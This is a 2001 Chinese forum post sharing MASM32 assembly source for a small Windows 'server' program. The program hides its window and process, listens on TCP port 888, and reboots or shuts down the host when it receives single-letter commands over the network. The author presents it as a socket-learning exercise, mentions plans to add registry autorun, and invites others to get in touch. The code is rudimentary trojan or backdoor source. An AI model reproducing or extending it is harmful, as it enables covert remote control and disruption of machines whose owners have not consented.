.386
.model flat,stdcall
option casemap:noneCreateSocket PROTO : DWORD
inv equ invoke
include windows.inc
include kernel32.inc
include user32.inc
include shell32.inc
include wsock32.inc
includelib kernel32.lib
includelib user32.lib
includelib shell32.lib
includelib wsock32.lib
.const
X_Win equ 160
Y_Win equ 090
port equ 888
WM_SOCKET equ WM_USER+100
ICON equ 1
RESTART equ 'r'
SHUTDOWN equ 'e'
SYSLOCKUP equ 's'
.data
szShutdown db "Shutdown", 0
szRestart db "Restart", 0
szDunno db "不知道的命令", 0
ClassName db "Win32ASM_Class", 0
AppName db "Server", 0
command1 db "http://www.20cn.net",0
open db "open",0
wc WNDCLASSEX <SIZEOF WNDCLASSEX, CS_HREDRAW or CS_VREDRAW, offset WndProc, \
NULL, NULL, NULL, NULL, NULL, COLOR_WINDOW + 1, NULL, \
offset ClassName, NULL>
szConnect db "Connection esthablished", 0
eFuck db "Something went wrong!", 0
kernel32 db "kernel32.dll",0
func db "RegisterServiceProcess",0
.data?
hInstance dd ?
hwnd dd ?
X_Pos dd ?
Y_Pos dd ?
msg MSG <?>
sin sockaddr_in <?>
sSocket dd ?
wsadata WSADATA <?>
bRead dd ?
available_data dd ?
cSocket dd ?
.code
start:
inv GetModuleHandle, NULL
mov hInstance, eax
mov wc.hInstance, eax
inv LoadIcon, hInstance, ICON
mov wc.hIcon, eax
mov wc.hIconSm, eax
inv LoadCursor, NULL, IDC_ARROW
mov wc.hCursor, eax
inv RegisterClassEx, offset wc
inv GetSystemMetrics,SM_CXSCREEN ; Calculate Screen center
shr eax, 1
sub eax, X_Win / 2
mov X_Pos, eax
inv GetSystemMetrics,SM_CYSCREEN
shr eax, 1
sub eax, Y_Win / 2
mov Y_Pos, eax
inv CreateWindowEx, NULL, offset ClassName, offset AppName, WS_OVERLAPPEDWINDOW, \
X_Pos, Y_Pos, X_Win, Y_Win, NULL, NULL, hInstance, NULL
mov hwnd, eax
inv ShowWindow, eax, SW_HIDE
invoke GetModuleHandle, ADDR kernel32 ;隐藏进程
or eax,eax ;
jz continue
invoke GetProcAddress, eax, ADDR func ;得到函数地址
or eax, eax
jz continue
push 1
push 0
call eax
continue:
inv UpdateWindow, hwnd
.while TRUE
inv GetMessage, offset msg, NULL, 0, 0
.break .if (!eax)
inv TranslateMessage, offset msg
inv DispatchMessage, offset msg
.endw
quit:
inv ExitProcess, msg.wParam
; Window Proc
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.if uMsg == WM_DESTROY
inv closesocket, sSocket
inv WSACleanup
inv PostQuitMessage, NULL
.elseif uMsg == WM_CREATE
inv WSAStartup, 101h, offset wsadata
inv CreateSocket, hWnd
.elseif uMsg == WM_SOCKET
mov eax, wParam
mov cSocket, eax
mov eax, lParam
.if ax == FD_ACCEPT
inv accept, sSocket, 0, 0
.elseif ax == FD_READ
inv ioctlsocket, cSocket, FIONREAD, offset available_data
.if eax == NULL
inv GlobalAlloc, GMEM_FIXED + GMEM_ZEROINIT, available_data
mov bRead, eax
inv recv, cSocket, bRead, available_data, 0
mov available_data, eax
; inv MessageBox, hWnd, bRead, bRead, MB_OK
mov esi, bRead
cld
lodsb
.if al == RESTART
inv ExitWindowsEx, EWX_REBOOT, 0
.elseif al == SHUTDOWN
inv ExitWindowsEx, EWX_SHUTDOWN, 0
.else
; inv MessageBox, hWnd, offset szDunno, offset AppName, MB_OK
invoke ShellExecute,0,addr open,addr command1,NULL,NULL,SW_SHOW
.endif
inv GlobalFree, bRead
.endif
.endif
.else
inv DefWindowProc, hWnd, uMsg, wParam, lParam
ret
.endif
xor eax,eax
ret
WndProc endp
CreateSocket proc hWnd
WORD
mov sin.sin_family, AF_INET
inv htons, port
mov sin.sin_port, ax
inv socket, PF_INET, SOCK_STREAM, 0
mov sSocket, eax
inv WSAAsyncSelect, sSocket, hWnd, WM_SOCKET, FD_ACCEPT + FD_CLOSE + FD_READ
inv bind, sSocket, offset sin, SIZEOF sin
inv listen, sSocket, 2
ret
CreateSocket endp
end start
我在学习SOCKET时候做的一个简单的小东西!
编译成功才3K!
希望大家指点一二!
还没有把他加到注册表中自动运行呢!
不过现在可以不显示在任务栏中了 !
呵呵!
还有很多没有做!现在没有时间做了!
有喜欢这个的和我联系吧!
[ 09-13-2001: 贴子编辑者: SKY ]
[ 09-25-2001: 贴子编辑者: SKY ]